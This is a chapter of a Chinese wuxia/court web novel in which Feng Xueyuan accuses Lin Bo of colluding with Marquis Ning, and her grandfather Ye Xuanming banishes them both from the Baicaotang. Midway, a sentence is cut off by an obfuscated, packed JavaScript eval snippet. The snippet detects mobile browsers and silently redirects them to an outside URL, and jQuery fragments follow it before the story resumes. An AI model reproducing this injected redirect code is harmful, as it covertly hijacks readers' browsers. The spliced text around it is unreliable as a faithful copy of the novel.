林伯一愣，“鸢儿，你说什么呢？我何时跟宁侯府有往来了？”


    “那日我身陷千丝阁，杜掌柜出城寻你，你没有立即来千丝阁救我，而是直接去了宁侯府。”


    风雪鸢所说不假，可此事全因当时情况紧急，他一时想救风雪鸢，没想到却让风雪鸢误会了。


    “阿公，我因给大凤打胎，而坏了百草堂的规矩，我甘愿受罚。但林伯身为二当家，勾结宁侯，为千丝阁的舞妓制作毒药，又该当何罪？”


    叶玄明眉头一颤，看向林伯。他与林伯从年轻时一路走来，林伯的事，他都是知道的。为千丝阁的舞妓制作毒药，又从何说起。


    “什么时候林伯也可以任你胡乱攀咬了？”叶玄明转过身来，盯着风雪鸢说，“你倒是说说，有何证据？若是拿不出证据，我就再治你个诬陷之罪！”


    风雪鸢刚要开口，叶广白带着四五个百草堂元老步履匆匆地进了常春堂。


    “义父恕罪，”叶广白假惺惺地说，“刚才跟着林伯过来，听见您动了大怒，广白担心林伯劝不住您，所以擅作主张，请了几位长老来，义父莫怪罪。”


    身后，孙起阳先劝道：“鸢儿一个小女郎，自然会站在妇人的角度考虑，你也不能就因为这事儿将她逐出百草堂吧。”


    风雪鸢心里了然，原来依着规矩，她为妇人打了胎，是要被逐出百草堂的。


    其余人也纷纷求情，“这打断骨头连着筋，鸢儿可是你的亲外孙，你怎么能真的把她赶走？差不多得了。”


    “就是，你那规矩本就难明对错，睁一只眼闭一只眼算了。”


    别人越劝，叶玄明就越不愿松口。周围那么多人看着，他堂堂百草堂的堂主，因为几句话就破了规矩，岂不是太没威严了。


    “规矩就是规矩，不能因为她身份特殊，就网开一面。”


    孙起阳面露愁容，“那……刚才又说诬陷之罪，又是怎么回事啊？”


    众人看向风雪鸢。


    被叶广白这么一搅，事情弄得沸沸扬扬，人尽皆知，怕是不好收场了。叶玄明瞟了一眼林伯，林伯会意，今日的一切，只怕都是叶广白的手笔。


    叶广白存有异心，叶玄明和林伯早就知道，留着他，一是因为这么多年的父子之情终究难以割舍，二是因为他可以稳住亓凌云那边。


    风雪鸢见状，索性当着众人的面全都说了出来。


    “之前我去千丝阁救大凤，得知里面的姑娘每十日就要服一次药，否则便会浑身血流加速血脉贲张而死。这些日子，我研制出了这种药，发现其中的关键在于巧茶。巧茶这味药，在阳庭找不到第二个人有，而林伯，这些年来，一直从西域大量购置巧茶！”


    在场之人，除了叶玄明和叶广白，皆惊得掉了下巴。


    孙起阳问道：“林伯好端端地，替宁侯做这些干什么？公主你可有证据？”


    “自然是有。这些年跟西域往来订购的货物，一笔一笔，全都记录在册，孙伯若是不信，派人去我那拿来，一看便知。”


    孙起阳自然是不信，回头吩咐人去取了账簿。


    账簿拿来后，孙起阳翻了几页，交给叶玄明。叶玄明心知肚明，这东西是叶广白在管着，没有看的价值，只摆了摆手。


    “堂主，此事你可知道？”


    叶玄明面无表情，扫了一眼屋内的人。叶广白叫来的这些长老，都是从百草堂建立之初，一路筚路蓝缕走过来的，他们与宁侯或多或少都有些恩怨。叶玄明不怀疑他们的忠心，但这次，他们确实是被叶广白利用了。


    “我不知道。但我相信林伯，即便买了巧茶，也是有别的用途。”


    孙起阳又问林伯：“林伯，这些巧茶用在了何处？你若能给个解释也好啊。”


    林伯沉着脸，冷冷地说：“我没买过，给不了解释。你们若仅凭这账簿上寥寥几笔，就断定我与宁侯勾结，那我无话可说。”


    众人看向叶玄明，等着他发话。


    叶玄明还是想维持表面安稳，只说：“此事还需要再查，一定会给大家一个交代，今日就先都散了吧。”


    “阿公，”风雪鸢不依不饶，“阿公，即便账簿有假，但林伯来往宁侯府，你也不闻不问吗？你别忘了，当年有内奸将你的令牌样式泄露了出去，才导致阿娘难产的啊！若林伯跟宁侯有往来，很有可能就是他害死了阿娘，还有林姨啊！”


    叶玄明扬起手，一巴掌落在了风雪鸢的脸上，风雪鸢没站稳，扑倒了地上，两只手正正好好按在了碎茶炉瓦片上。


    “你知道你在说什么吗！林伯去宁侯府，那是为了救你！是你不知天高地厚只身前往千丝阁，林伯若是不找宁侯，你知道自己是什么下场吗！”


    叶广白俯身扶起风雪鸢，撕下一角衣襟，替风雪鸢简单包扎了一下双手。


    风雪鸢忍着泪水说：“百草堂与宁侯一向井水不犯河水，林伯怎知宁侯一定会看在他的面子上放过我？林伯，你去宁侯府的时候，是以百草堂二当家的身份，还是以大齐国林公府嫡子的身份呢？”


    林伯一愣，他没想到风雪鸢已经知道了自己的身份，“宁侯都跟你说什么了？”


    孙起阳说：“什么意思？林伯你……是那个大齐失踪的小公爷？”


    当年大齐林国公府和秋家灭门的事传的沸沸扬扬，自然无有人不知，只是孙起阳他们没想到，林伯就是当年的那个小公爷。


    叶玄明开口道：“百草堂一向不问各位的出身，林伯来百草堂之前，是贩夫走卒也好，是王公贵戚也罢，都无所谓。”


    孙起阳又问：“那内奸怎么回事？怎么会害死南星呢？”


    叶玄明没有作声，今日的事像滚雪球一般牵扯的越来越多，他快速地思考着该如何收场，能让变故在自己的可控范围内。


    一直没说话的林伯缓缓开了口，神情落寞，“鸢儿，我承认我是大齐林国公的嫡子，当年任性害死了秋家五十多条人命，也承认去过宁侯府，以小公爷的身份逼宁侯救你。你拿出账簿说我这些年购买巧茶为千丝阁作毒药我也可以不辩解，但是鸢儿，我看着你长大，你不能说是我出卖堂主害死了南星啊，当年那场大火里丧命的，也有我两个亲生女儿啊……”


    风雪鸢一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792282|142952||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心想为叶南星报仇，此刻已经丧失了理智，“那为何这么多年，你从未想过要为林姨报仇？因为你就是那个始作俑者！”


    林伯没有再辩驳，也没有怪风雪鸢的质问和误解，而是淡淡地说：“人生，不止有报仇这一件事。鸢儿，你的人生也是。”


    堂内一片寂静。


    林伯接着对叶玄明说：“今日之事，我无话可辩驳，堂主来定夺吧，当着这么多元老的面，别寒了大家的心。”


    叶玄明站定良久，做出了决定，“林松节，纵容风雪鸢为妇人打胎，勾结宁侯，替千丝阁制毒，为百草堂所不容。即刻起，交出令牌下山，与我百草堂再无瓜葛。”


    “堂主……”有几人想为林伯求情，可林伯朝他们摇了摇头，便也没再开口。


    “阿公！”风雪鸢喊道，“泄露令牌的事，你都不再查了吗！”


    叶玄明没有理会她。


    林伯从腰间拿出那块刻着油松枝干结节的令牌，慢慢地放在桌案上，起身抱拳告别：“我林松节受百草堂多年庇佑，铭感五内，此恩今生无以为报。今日下山，山高水远，一别两宽，后会无期。”


    说完，林伯转身迈出了常春堂的门槛。


    “林伯……”


    “风雪鸢，”叶玄明没有半点犹豫，“违背堂规，为妇人打胎，为舞妓做避子药，即日起，与我断绝血缘关系，逐下山去，不得踏入百草堂各医馆半步！”


    “堂主！”众人没想到叶玄明如此心狠，竟能为了一个颇有争议的规矩与风雪鸢断绝关系。


    风雪鸢一愣，“阿公……”她没想到叶玄明会把事做得这样绝。她不过是想要查明母妃难产的罪魁祸首，要一个真相大白，怎么事情就到了这个地步。


    她心里清楚，百草堂投靠了大齐，南风国将不国，她作为百草堂的外孙女或许能在战乱中保全性命，失去这层身份，等待她的只有比死亡更痛苦的折磨。亓凌风再重情重诺，也看不住手底下万千的将士。


    叶玄明丝毫没有改变主意的意思。


    风雪鸢忍着眼泪，扬起头一字一字地说：“好，我走。他日泰康城破，我被俘受辱也好，侥幸逃脱也罢，我都认，谁让我生下来就是南风公主。可话说回来，若没有百草堂的支持，大齐不会再次出兵，百姓也不会再受战乱之苦。这场战争的始作俑者，就是你！我若能选择，我既不要当南风的公主,也不要跟你的百草堂有什么瓜葛！”


    叶玄明没有理风雪鸢，而是对着孙起阳等人说：“眼下大齐出兵在即，各位也下山去各分部待命吧。亓凌风此次南下，只能成功，不能失败！”


    说完，叶玄明头也不回地出了常春堂，都没有多看一眼风雪鸢。


    这个年近古稀，一辈子叱咤风云的江湖侠客，终究对自己心狠了一次。


    孙起阳上前叹道：“哎呀我的小祖宗，你哪怕是给任何其他的人做那药也不会让堂主这么生气啊。你只知那宁侯偏安一隅不涉政事，也知道他逼良为娼做皮肉生意，可你不知道，当年就是他诬陷堂主通敌，带兵围了村子，逼死了柏仁他们，又抢走了尸体啊……”